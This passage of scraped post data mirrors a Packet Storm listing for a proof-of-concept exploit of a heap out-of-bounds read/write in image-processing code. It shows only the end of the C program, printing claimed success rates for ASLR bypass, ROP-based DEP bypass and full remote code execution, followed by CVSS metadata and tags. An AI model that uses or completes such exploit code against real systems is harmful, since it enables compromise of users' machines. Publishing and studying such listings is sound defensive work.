engine.simulateASLRBypass();\\n \\n printf(\\”\\\\n====================================================\\\\n\\”);\\n printf(\\” EXPLOIT SIMULATION COMPLETE\\\\n\\”);\\n printf(\\” Real-world success factors:\\\\n\\”);\\n printf(\\” 1. Predictable heap layout: 85%%\\\\n\\”);\\n printf(\\” 2. ASLR bypass via leak: 90%%\\\\n\\”);\\n printf(\\” 3. DEP bypass via ROP: 95%%\\\\n\\”);\\n printf(\\” 4. Full RCE achievement: 80%%\\\\n\\”);\\n printf(\\”====================================================\\\\n\\”);\\n \\n return 0;\\n }\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213202″,”cvss”:{“score”:7.1,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213202\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-22T18:23:51″,”description”:”Proof of concept exploit that demonstrates a heap out-of-bounds read \/ write leading to memory corruption and potential code execution in the Image Processing Logic…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-32466","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n